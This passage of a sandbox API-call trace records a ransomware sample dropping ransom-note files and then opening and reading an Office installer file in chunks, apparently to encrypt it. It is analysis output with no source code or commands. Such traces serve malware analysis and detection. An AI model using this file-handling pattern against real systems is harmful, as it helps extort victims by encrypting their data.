ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="{90140000-0019-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9877A~1")) returned 1 [0069.070] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524400 [0069.070] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x5244d8 [0069.070] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524448 [0069.070] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5244d8 | out: hHeap=0x510000) returned 1 [0069.070] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524448 | out: hHeap=0x510000) returned 1 [0069.070] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524400 | out: hHeap=0x510000) returned 1 [0069.070] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524400 [0069.070] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5a0) returned 0x543a38 [0069.070] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0069.070] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x77) returned 0x51ff00 [0069.071] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0069.071] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533d90 [0069.071] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533de0 [0069.071] AreFileApisANSI () returned 1 [0069.071] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 93 [0069.071] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xba) returned 0x54a680 [0069.071] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x54a680, cchWideChar=93 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\@_FILES_WERE_ENCRYPTED_@.TXT") returned 93 [0069.071] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4aba28, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0069.073] GetFileType (hFile=0x1f0) returned 0x1 [0069.073] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a680 | out: hHeap=0x510000) returned 1 [0069.074] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x55de20 [0069.074] GetLastError () returned 0x0 [0069.075] AreFileApisANSI () returned 1 [0069.075] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 94 [0069.075] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xbc) returned 0x54a680 [0069.075] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x54a680, cchWideChar=94 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\@_HOW_TO_PAY_THE_RANSOM_@.TXT") returned 94 [0069.075] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4aba28, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0069.075] GetFileType (hFile=0x1f0) returned 0x1 [0069.075] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a680 | out: hHeap=0x510000) returned 1 [0069.075] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x55de20 [0069.075] GetLastError () returned 0x0 [0069.076] AreFileApisANSI () returned 1 [0069.076] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 93 [0069.076] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xba) returned 0x54a680 [0069.076] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x54a680, cchWideChar=93 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\@_HOW_TO_DECRYPT_FILES_@.TXT") returned 93 [0069.076] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4aba28, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0069.077] GetFileType (hFile=0x1f0) returned 0x1 [0069.077] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a680 | out: hHeap=0x510000) returned 1 [0069.077] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x55de20 [0069.077] GetLastError () returned 0x0 [0069.078] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa6887400, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6887400, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName=".", cAlternateFileName="")) returned 0x549750 [0069.078] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa6887400, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6887400, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="..", cAlternateFileName="")) returned 1 [0069.078] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6887400, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6887400, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6887400, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0069.078] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x55ae28 [0069.078] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x55ae90 [0069.078] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae90 | out: hHeap=0x510000) returned 1 [0069.078] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0069.078] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0069.078] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0069.078] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6887400, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6887400, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6887400, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0069.078] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x55ae28 [0069.078] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x55ae90 [0069.078] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae90 | out: hHeap=0x510000) returned 1 [0069.078] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0069.078] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0069.078] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0069.078] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6887400, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6887400, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6887400, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0069.078] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x55ae28 [0069.078] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x55ae90 [0069.078] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae90 | out: hHeap=0x510000) returned 1 [0069.078] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0069.079] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0069.079] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0069.079] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="PublisherMUI.msi", cAlternateFileName="PUBLIS~1.MSI")) returned 1 [0069.079] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x55ae28 [0069.079] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x55ae90 [0069.079] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae90 | out: hHeap=0x510000) returned 1 [0069.079] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0069.079] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="PublisherMUI.xml", cAlternateFileName="PUBLIS~1.XML")) returned 1 [0069.079] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x55ae28 [0069.079] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x55ae90 [0069.079] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae90 | out: hHeap=0x510000) returned 1 [0069.079] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0069.079] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0069.079] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0069.079] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0069.079] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533d90 [0069.079] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533de0 [0069.079] AreFileApisANSI () returned 1 [0069.079] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0069.079] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa2) returned 0x536b88 [0069.079] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x536b88, cchWideChar=81 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 81 [0069.079] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x4aba3c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0069.080] GetFileType (hFile=0x190) returned 0x1 [0069.080] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536b88 | out: hHeap=0x510000) returned 1 [0069.080] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4abb08 | out: lpNewFilePointer=0x0) returned 1 [0069.080] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4ababc | out: lpNewFilePointer=0x0) returned 1 [0069.081] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba8c | out: lpNewFilePointer=0x0) returned 1 [0069.081] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.081] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba8c | out: lpNewFilePointer=0x0) returned 1 [0069.081] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.081] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x55ee28 [0069.081] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5aa, lpOverlapped=0x0) returned 1 [0069.083] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.083] GetLastError () returned 0x0 [0069.083] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.083] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5a2, lpOverlapped=0x0) returned 1 [0069.083] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.083] GetLastError () returned 0x0 [0069.083] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x10, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.083] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x59a, lpOverlapped=0x0) returned 1 [0069.084] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x10, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.084] GetLastError () returned 0x0 [0069.084] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x18, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.084] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x592, lpOverlapped=0x0) returned 1 [0069.084] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x18, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.084] GetLastError () returned 0x0 [0069.084] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x20, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.084] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x58a, lpOverlapped=0x0) returned 1 [0069.084] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x20, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.084] GetLastError () returned 0x0 [0069.084] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x28, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.085] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x582, lpOverlapped=0x0) returned 1 [0069.085] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x28, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.085] GetLastError () returned 0x0 [0069.085] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x30, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.085] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x57a, lpOverlapped=0x0) returned 1 [0069.085] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x30, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.085] GetLastError () returned 0x0 [0069.085] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x38, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.085] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x572, lpOverlapped=0x0) returned 1 [0069.086] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x38, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.086] GetLastError () returned 0x0 [0069.086] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x40, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.086] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x56a, lpOverlapped=0x0) returned 1 [0069.086] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x40, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.086] GetLastError () returned 0x0 [0069.086] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x48, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.086] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x562, lpOverlapped=0x0) returned 1 [0069.086] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x48, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.086] GetLastError () returned 0x0 [0069.086] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x50, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.087] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x55a, lpOverlapped=0x0) returned 1 [0069.087] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x50, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.087] GetLastError () returned 0x0 [0069.087] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x58, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.087] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x552, lpOverlapped=0x0) returned 1 [0069.087] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x58, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.087] GetLastError () returned 0x0 [0069.087] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x60, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.088] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x54a, lpOverlapped=0x0) returned 1 [0069.088] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x60, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.088] GetLastError () returned 0x0 [0069.088] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x68, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.088] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x542, lpOverlapped=0x0) returned 1 [0069.088] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x68, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.088] GetLastError () returned 0x0 [0069.088] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x70, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.088] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x53a, lpOverlapped=0x0) returned 1 [0069.089] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x70, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.089] GetLastError () returned 0x0 [0069.089] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x78, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.089] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x532, lpOverlapped=0x0) returned 1 [0069.089] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x78, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.089] GetLastError () returned 0x0 [0069.089] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x80, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.089] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x52a, lpOverlapped=0x0) returned 1 [0069.089] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x80, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.089] GetLastError () returned 0x0 [0069.089] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x88, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.090] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x522, lpOverlapped=0x0) returned 1 [0069.090] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x88, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.090] GetLastError () returned 0x0 [0069.090] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x90, 